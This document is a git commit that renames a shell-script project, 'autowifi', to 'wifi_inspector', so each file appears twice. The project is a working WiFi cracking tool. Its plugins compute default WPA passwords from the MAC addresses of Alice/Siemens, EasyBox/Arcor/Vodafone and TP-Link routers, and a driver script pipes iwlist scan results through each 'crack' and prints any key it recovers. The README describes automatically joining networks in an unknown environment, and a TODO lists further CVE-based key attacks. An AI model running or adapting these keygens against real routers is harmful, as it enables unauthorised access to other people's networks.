From 3a7a49b9bda4b2df849db827c61aa347a68a96be Mon Sep 17 00:00:00 2001
From: lassulus <lass@aidsballs.de>
Date: Mon, 22 Dec 2014 20:09:43 +0100
Subject: wifi_inspector > autowifi (better name anyuway)

---
 recon/autowifi/.gitignore                |  1 -
 recon/autowifi/README.md                 | 49 ---------------------
 recon/autowifi/TODO                      |  9 ----
 recon/autowifi/inspector_wifi            | 75 --------------------------------
 recon/autowifi/plugins/01open            |  6 ---
 recon/autowifi/plugins/02alice           | 20 ---------
 recon/autowifi/plugins/02easybox         | 37 ----------------
 recon/autowifi/plugins/02tplink          | 17 --------
 recon/autowifi/plugins/plugin_core       | 41 -----------------
 recon/wifi_inspector/.gitignore          |  1 +
 recon/wifi_inspector/README.md           | 49 +++++++++++++++++++++
 recon/wifi_inspector/TODO                |  9 ++++
 recon/wifi_inspector/inspector_wifi      | 75 ++++++++++++++++++++++++++++++++
 recon/wifi_inspector/plugins/01open      |  6 +++
 recon/wifi_inspector/plugins/02alice     | 20 +++++++++
 recon/wifi_inspector/plugins/02easybox   | 37 ++++++++++++++++
 recon/wifi_inspector/plugins/02tplink    | 17 ++++++++
 recon/wifi_inspector/plugins/plugin_core | 41 +++++++++++++++++
 18 files changed, 255 insertions(+), 255 deletions(-)
 delete mode 100644 recon/autowifi/.gitignore
 delete mode 100644 recon/autowifi/README.md
 delete mode 100644 recon/autowifi/TODO
 delete mode 100755 recon/autowifi/inspector_wifi
 delete mode 100755 recon/autowifi/plugins/01open
 delete mode 100755 recon/autowifi/plugins/02alice
 delete mode 100755 recon/autowifi/plugins/02easybox
 delete mode 100755 recon/autowifi/plugins/02tplink
 delete mode 100644 recon/autowifi/plugins/plugin_core
 create mode 100644 recon/wifi_inspector/.gitignore
 create mode 100644 recon/wifi_inspector/README.md
 create mode 100644 recon/wifi_inspector/TODO
 create mode 100755 recon/wifi_inspector/inspector_wifi
 create mode 100755 recon/wifi_inspector/plugins/01open
 create mode 100755 recon/wifi_inspector/plugins/02alice
 create mode 100755 recon/wifi_inspector/plugins/02easybox
 create mode 100755 recon/wifi_inspector/plugins/02tplink
 create mode 100644 recon/wifi_inspector/plugins/plugin_core

(limited to 'recon')

diff --git a/recon/autowifi/.gitignore b/recon/autowifi/.gitignore
deleted file mode 100644
index 05ba1603..00000000
--- a/recon/autowifi/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/etc/autowifi/wifi_keys
diff --git a/recon/autowifi/README.md b/recon/autowifi/README.md
deleted file mode 100644
index 3e0d8dce..00000000
--- a/recon/autowifi/README.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# Autowifi
-Author: makefu,lassulus
-
-Status: Pre-Alpha - it will most likely break if you try to use it
-
-# Contact
-
-twitter: @krebsbob ,@makefoo 
-
-IRC: freenode #krebs
-
-# Goals
-Goal of autowifi is to provide a tool which automatically can connect to
-networks in an unknown environment.
-
-This can either be done by connecting to open networks, known networks
-(whitelist) or by calculating weak default wpa keys (for example easybox
-default passwords).
-
-# Audience
-Due to the current status of the project the target audience are 
-linux users with technical background .
-
-# Usage
-    
-    # all as root
-    # try to find networks to connect to around you
-    usr/bin/autowifi_dryrun quiet
-
-    # start the autowifi daemon which tries to stay in networks all the time
-    usr/bin/autowifi
-
-# Plugins
-All tests to open up networks are implemented in plugins in
-    usr/lib/autowifi/plugins
-
-## Run a single Plugin
-This can be used for testing purposes, e.g. test a single plugin against given networks directly
-    
-    # try out the easybox keygen
-    usr/lib/autowifi/plugins/02easybox SSID MAC CHANNEL ENCRYPTION(wpa_cli style)
-
-    #e.g.
-    usr/lib/autowifi/plugins/02easybox Easybox-123456 00:11:22:33:44:55 7 "[wpa]"
-
-# Disclaimer
-- use at own risk
-- only run in lab environment
-- you break it, you buy it
diff --git a/recon/autowifi/TODO b/recon/autowifi/TODO
deleted file mode 100644
index ddd59818..00000000
--- a/recon/autowifi/TODO
+++ /dev/null
@@ -1,9 +0,0 @@
-more intelligent autoconnect (open first, encrypted second etc.)
-    perform initial scan on startup of unscanned networks
-    sort networks by bandwidth and connect
-profiles ala netcfg/netctl
-better profile hooks
-
-Implement:
-    - Droid Default WPA2 Pass for HotSpot: CVE-2013-4622: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4622
-    - EasyBox 802/803 default WPS Pin: http://packetstormsecurity.com/files/122698/SA-20130805-0.txt
diff --git a/recon/autowifi/inspector_wifi b/recon/autowifi/inspector_wifi
deleted file mode 100755
index 06f37ddb..00000000
--- a/recon/autowifi/inspector_wifi
+++ /dev/null
@@ -1,75 +0,0 @@
-#!/bin/sh
-# Usage; sudo iwlist wlan0 scan | ./inspector_wifi
-#
-#
-set -eu
-
-cd "$(dirname "$(readlink -f "$0")")"
-echo "waiting for iwlist scan data..." >&2
-
-crack_wifi(){
-  for i in plugins/*;do
-    if RET=$(./$i "$@" 2>/dev/null);then
-      echo "$@ - with crack $i succeeded - Key is $RET"
-    fi
-  done
-}
-
-shell_escape(){
-  sed 's/./\\&/g'
-}
-remove_quotes(){
-  sed 's/^"\|"$//g'
-}
-
-
-iwlist_scan_parser(){
-    count=0
-    while read line;
-    do
-        case "$line" in
-
-            *"Cell "*)
-                if [ $count -ne  0 ];then
-                  crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
-                fi
-                WPA=0
-                WPA2=0
-                : $((count+=1))
-                MAC=${line#*Address: }
-                ;;
-            *Channel:*)
-                CHANNEL=${line#*:}
-                ;;
-            *Quality=*)
-                QUALITY="`printf '%s' ${line#*Quality=} | cut -d/  -f 1`"
-                ;;
-            *"Encryption key:"*)
-                ENCRYPTION=${line#*key:}
-                ;;
-            *ESSID:*)
-              ESSID=$(echo "${line#*ESSID:}" | remove_quotes)
-                ;;
-            *"IE: IEEE 802.11i/WPA2"*)
-                WPA2=1
-                ;;
-            *"IE: WPA Version 1"*)
-                WPA=1
-                ;;
-            *);; #important, do not delete!
-        esac
-    done;
-    crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
-    echo WIFI_COUNT=$count
-}
-
-wifi_init(){
-  iwlist_scan_parser
-}
-
-loop_networks(){
-    for i in `seq 1 $WIFI_COUNT`; do
-        loop_over_cracks "$i"
-    done
-}
-wifi_init
diff --git a/recon/autowifi/plugins/01open b/recon/autowifi/plugins/01open
deleted file mode 100755
index 881f47ea..00000000
--- a/recon/autowifi/plugins/01open
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/sh
-#ESSID MAC CHANNEL ENCRYPTION 
-if [ "$4" == "[ESS]" ]; then
-    exit 0
-fi
-exit 1
diff --git a/recon/autowifi/plugins/02alice b/recon/autowifi/plugins/02alice
deleted file mode 100755
index 65ab34b1..00000000
--- a/recon/autowifi/plugins/02alice
+++ /dev/null
@@ -1,20 +0,0 @@
-#!/bin/sh
-# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm:
-# Based on Poc from 
-#    http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html
-#
-#
-# ESSID MAC CHANNEL ENCRYPTION 
-
-cd $(dirname $(readlink -f $0))
-. ./plugin_core
-
-parse_plugin_args "$@"
-
-! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1
-
-# printf always makes string to lower, need that for correct md5sum
-ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) 
-TMP=$(printf $ETHMAC | md5sum)
-printf ${TMP:0:12} | base64
-exit 0
diff --git a/recon/autowifi/plugins/02easybox b/recon/autowifi/plugins/02easybox
deleted file mode 100755
index 3bb1ee86..00000000
--- a/recon/autowifi/plugins/02easybox
+++ /dev/null
@@ -1,37 +0,0 @@
-#!/bin/sh
-#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
-
-cd $(dirname $(readlink -f $0))
-. ./plugin_core
-parse_plugin_args "$@"
-
-if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then
-    echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone" 
-    exit 1
-else
-
-    # Fill up to 4 places with zeros, if necessary:
-    deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g')
-    #
-    # The digits M9 to M12 are just the last digits (9.-12.) of the MAC:
-    hexi=$(echo ${MAC:8:4} | sed 's/./& /g')
-    #echo 'M4 (Hex): ' ${hexi[@]}
-    # K1 = last byte of (d0 + d1 + h2 + h3)
-    # K2 = last byte of (h0 + h1 + d2 + d3)
-    c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1})
-    c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1})
-    K1=$((($c1)%16))
-    K2=$((($c2)%16))
-    #printf "K1: %x\n" $K1
-    #printf "K2: %x\n" $K2
-    X1=$((K1^${deci:6:1}))
-    X2=$((K1^${deci:4:1}))
-    X3=$((K1^${deci:2:1}))
-    Y1=$((K2^0x${hexi:2:1}))
-    Y2=$((K2^0x${hexi:4:1}))
-    Y3=$((K2^0x${hexi:6:1}))
-    Z1=$((0x${hexi:4:1}^${deci:6:1}))
-    Z2=$((0x${hexi:6:1}^${deci:4:1}))
-    Z3=$((K1^K2))
-    printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F
-fi
diff --git a/recon/autowifi/plugins/02tplink b/recon/autowifi/plugins/02tplink
deleted file mode 100755
index 751ec209..00000000
--- a/recon/autowifi/plugins/02tplink
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/bin/sh
-# Implementation of TP-Link default WPA Key
-# Based on 
-#   http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481 
-
-cd $(dirname $(readlink -f $0))
-. ./plugin_core
-
-parse_plugin_args "$@"
-
-! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1
-! echo $ESSID | egrep  -q '^tp' && echo "$ESSID not affected" && exit 1
-
-
-# printf always makes string to lower, need that for correct md5sum
-printf ${MAC:4:12} 
-exit 0
diff --git a/recon/autowifi/plugins/plugin_core b/recon/autowifi/plugins/plugin_core
deleted file mode 100644
index e79a3c05..00000000
--- a/recon/autowifi/plugins/plugin_core
+++ /dev/null
@@ -1,41 +0,0 @@
-#!/bin/sh
-parse_plugin_args(){
-    [ $# -ne 4 ] && plugin_usage && exit 1
-    # convenience function to put args in ENV variables
-    ESSID="$1"
-
-    # mac is returned without colon
-    MAC=$(printf "%s" "$2" | sed 's/://g')
-    # split up the mac address to vendor and private part
-    VENDOR_MAC=${MAC:0:6}
-    PRIVATE_MAC=${MAC:6:12}
-    CHANNEL="$3"
-    ENC="$4"
-    if [ ${#MAC} -ne 12 ] ;then
-        echo "MAC malformed"
-        exit 1
-    fi
-}
-plugin_usage(){
-    cat << EOF
-usage: $0 ESSID MAC CHANNEL ENC"
-
-    ESSID   - string
-    MAC     - 00:11:22:33:44:55
-    CHANNEL - 4
-    ENC     - wpa
-EOF
-    
-}
-
-check_vendor_mac(){
-  needle="$(printf $1 | tr '[A-Z]' '[a-z]')"
-  shift
-  for i in "$@";do
-    [ "$needle" == "$(printf $i | tr '[A-Z]' '[a-z]')" ] && return 0
-  done
-  return 1
-}
-check_painmode(){
-    test -z "${painmode:-}" && echo "painmode required" && exit 1
-}
diff --git a/recon/wifi_inspector/.gitignore b/recon/wifi_inspector/.gitignore
new file mode 100644
index 00000000..05ba1603
--- /dev/null
+++ b/recon/wifi_inspector/.gitignore
@@ -0,0 +1 @@
+/etc/autowifi/wifi_keys
diff --git a/recon/wifi_inspector/README.md b/recon/wifi_inspector/README.md
new file mode 100644
index 00000000..3e0d8dce
--- /dev/null
+++ b/recon/wifi_inspector/README.md
@@ -0,0 +1,49 @@
+# Autowifi
+Author: makefu,lassulus
+
+Status: Pre-Alpha - it will most likely break if you try to use it
+
+# Contact
+
+twitter: @krebsbob ,@makefoo 
+
+IRC: freenode #krebs
+
+# Goals
+Goal of autowifi is to provide a tool which automatically can connect to
+networks in an unknown environment.
+
+This can either be done by connecting to open networks, known networks
+(whitelist) or by calculating weak default wpa keys (for example easybox
+default passwords).
+
+# Audience
+Due to the current status of the project the target audience are 
+linux users with technical background .
+
+# Usage
+    
+    # all as root
+    # try to find networks to connect to around you
+    usr/bin/autowifi_dryrun quiet
+
+    # start the autowifi daemon which tries to stay in networks all the time
+    usr/bin/autowifi
+
+# Plugins
+All tests to open up networks are implemented in plugins in
+    usr/lib/autowifi/plugins
+
+## Run a single Plugin
+This can be used for testing purposes, e.g. test a single plugin against given networks directly
+    
+    # try out the easybox keygen
+    usr/lib/autowifi/plugins/02easybox SSID MAC CHANNEL ENCRYPTION(wpa_cli style)
+
+    #e.g.
+    usr/lib/autowifi/plugins/02easybox Easybox-123456 00:11:22:33:44:55 7 "[wpa]"
+
+# Disclaimer
+- use at own risk
+- only run in lab environment
+- you break it, you buy it
diff --git a/recon/wifi_inspector/TODO b/recon/wifi_inspector/TODO
new file mode 100644
index 00000000..ddd59818
--- /dev/null
+++ b/recon/wifi_inspector/TODO
@@ -0,0 +1,9 @@
+more intelligent autoconnect (open first, encrypted second etc.)
+    perform initial scan on startup of unscanned networks
+    sort networks by bandwidth and connect
+profiles ala netcfg/netctl
+better profile hooks
+
+Implement:
+    - Droid Default WPA2 Pass for HotSpot: CVE-2013-4622: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4622
+    - EasyBox 802/803 default WPS Pin: http://packetstormsecurity.com/files/122698/SA-20130805-0.txt
diff --git a/recon/wifi_inspector/inspector_wifi b/recon/wifi_inspector/inspector_wifi
new file mode 100755
index 00000000..06f37ddb
--- /dev/null
+++ b/recon/wifi_inspector/inspector_wifi
@@ -0,0 +1,75 @@
+#!/bin/sh
+# Usage; sudo iwlist wlan0 scan | ./inspector_wifi
+#
+#
+set -eu
+
+cd "$(dirname "$(readlink -f "$0")")"
+echo "waiting for iwlist scan data..." >&2
+
+crack_wifi(){
+  for i in plugins/*;do
+    if RET=$(./$i "$@" 2>/dev/null);then
+      echo "$@ - with crack $i succeeded - Key is $RET"
+    fi
+  done
+}
+
+shell_escape(){
+  sed 's/./\\&/g'
+}
+remove_quotes(){
+  sed 's/^"\|"$//g'
+}
+
+
+iwlist_scan_parser(){
+    count=0
+    while read line;
+    do
+        case "$line" in
+
+            *"Cell "*)
+                if [ $count -ne  0 ];then
+                  crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
+                fi
+                WPA=0
+                WPA2=0
+                : $((count+=1))
+                MAC=${line#*Address: }
+                ;;
+            *Channel:*)
+                CHANNEL=${line#*:}
+                ;;
+            *Quality=*)
+                QUALITY="`printf '%s' ${line#*Quality=} | cut -d/  -f 1`"
+                ;;
+            *"Encryption key:"*)
+                ENCRYPTION=${line#*key:}
+                ;;
+            *ESSID:*)
+              ESSID=$(echo "${line#*ESSID:}" | remove_quotes)
+                ;;
+            *"IE: IEEE 802.11i/WPA2"*)
+                WPA2=1
+                ;;
+            *"IE: WPA Version 1"*)
+                WPA=1
+                ;;
+            *);; #important, do not delete!
+        esac
+    done;
+    crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
+    echo WIFI_COUNT=$count
+}
+
+wifi_init(){
+  iwlist_scan_parser
+}
+
+loop_networks(){
+    for i in `seq 1 $WIFI_COUNT`; do
+        loop_over_cracks "$i"
+    done
+}
+wifi_init
diff --git a/recon/wifi_inspector/plugins/01open b/recon/wifi_inspector/plugins/01open
new file mode 100755
index 00000000..881f47ea
--- /dev/null
+++ b/recon/wifi_inspector/plugins/01open
@@ -0,0 +1,6 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION 
+if [ "$4" == "[ESS]" ]; then
+    exit 0
+fi
+exit 1
diff --git a/recon/wifi_inspector/plugins/02alice b/recon/wifi_inspector/plugins/02alice
new file mode 100755
index 00000000..65ab34b1
--- /dev/null
+++ b/recon/wifi_inspector/plugins/02alice
@@ -0,0 +1,20 @@
+#!/bin/sh
+# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm:
+# Based on Poc from 
+#    http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html
+#
+#
+# ESSID MAC CHANNEL ENCRYPTION 
+
+cd $(dirname $(readlink -f $0))
+. ./plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1
+
+# printf always makes string to lower, need that for correct md5sum
+ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) 
+TMP=$(printf $ETHMAC | md5sum)
+printf ${TMP:0:12} | base64
+exit 0
diff --git a/recon/wifi_inspector/plugins/02easybox b/recon/wifi_inspector/plugins/02easybox
new file mode 100755
index 00000000..3bb1ee86
--- /dev/null
+++ b/recon/wifi_inspector/plugins/02easybox
@@ -0,0 +1,37 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
+
+cd $(dirname $(readlink -f $0))
+. ./plugin_core
+parse_plugin_args "$@"
+
+if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then
+    echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone" 
+    exit 1
+else
+
+    # Fill up to 4 places with zeros, if necessary:
+    deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g')
+    #
+    # The digits M9 to M12 are just the last digits (9.-12.) of the MAC:
+    hexi=$(echo ${MAC:8:4} | sed 's/./& /g')
+    #echo 'M4 (Hex): ' ${hexi[@]}
+    # K1 = last byte of (d0 + d1 + h2 + h3)
+    # K2 = last byte of (h0 + h1 + d2 + d3)
+    c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1})
+    c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1})
+    K1=$((($c1)%16))
+    K2=$((($c2)%16))
+    #printf "K1: %x\n" $K1
+    #printf "K2: %x\n" $K2
+    X1=$((K1^${deci:6:1}))
+    X2=$((K1^${deci:4:1}))
+    X3=$((K1^${deci:2:1}))
+    Y1=$((K2^0x${hexi:2:1}))
+    Y2=$((K2^0x${hexi:4:1}))
+    Y3=$((K2^0x${hexi:6:1}))
+    Z1=$((0x${hexi:4:1}^${deci:6:1}))
+    Z2=$((0x${hexi:6:1}^${deci:4:1}))
+    Z3=$((K1^K2))
+    printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F
+fi
diff --git a/recon/wifi_inspector/plugins/02tplink b/recon/wifi_inspector/plugins/02tplink
new file mode 100755
index 00000000..751ec209
--- /dev/null
+++ b/recon/wifi_inspector/plugins/02tplink
@@ -0,0 +1,17 @@
+#!/bin/sh
+# Implementation of TP-Link default WPA Key
+# Based on 
+#   http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481 
+
+cd $(dirname $(readlink -f $0))
+. ./plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1
+! echo $ESSID | egrep  -q '^tp' && echo "$ESSID not affected" && exit 1
+
+
+# printf always makes string to lower, need that for correct md5sum
+printf ${MAC:4:12} 
+exit 0
diff --git a/recon/wifi_inspector/plugins/plugin_core b/recon/wifi_inspector/plugins/plugin_core
new file mode 100644
index 00000000..e79a3c05
--- /dev/null
+++ b/recon/wifi_inspector/plugins/plugin_core
@@ -0,0 +1,41 @@
+#!/bin/sh
+parse_plugin_args(){
+    [ $# -ne 4 ] && plugin_usage && exit 1
+    # convenience function to put args in ENV variables
+    ESSID="$1"
+
+    # mac is returned without colon
+    MAC=$(printf "%s" "$2" | sed 's/://g')
+    # split up the mac address to vendor and private part
+    VENDOR_MAC=${MAC:0:6}
+    PRIVATE_MAC=${MAC:6:12}
+    CHANNEL="$3"
+    ENC="$4"
+    if [ ${#MAC} -ne 12 ] ;then
+        echo "MAC malformed"
+        exit 1
+    fi
+}
+plugin_usage(){
+    cat << EOF
+usage: $0 ESSID MAC CHANNEL ENC"
+
+    ESSID   - string
+    MAC     - 00:11:22:33:44:55
+    CHANNEL - 4
+    ENC     - wpa
+EOF
+    
+}
+
+check_vendor_mac(){
+  needle="$(printf $1 | tr '[A-Z]' '[a-z]')"
+  shift
+  for i in "$@";do
+    [ "$needle" == "$(printf $i | tr '[A-Z]' '[a-z]')" ] && return 0
+  done
+  return 1
+}
+check_painmode(){
+    test -z "${painmode:-}" && echo "painmode required" && exit 1
+}
-- 
cgit v1.2.3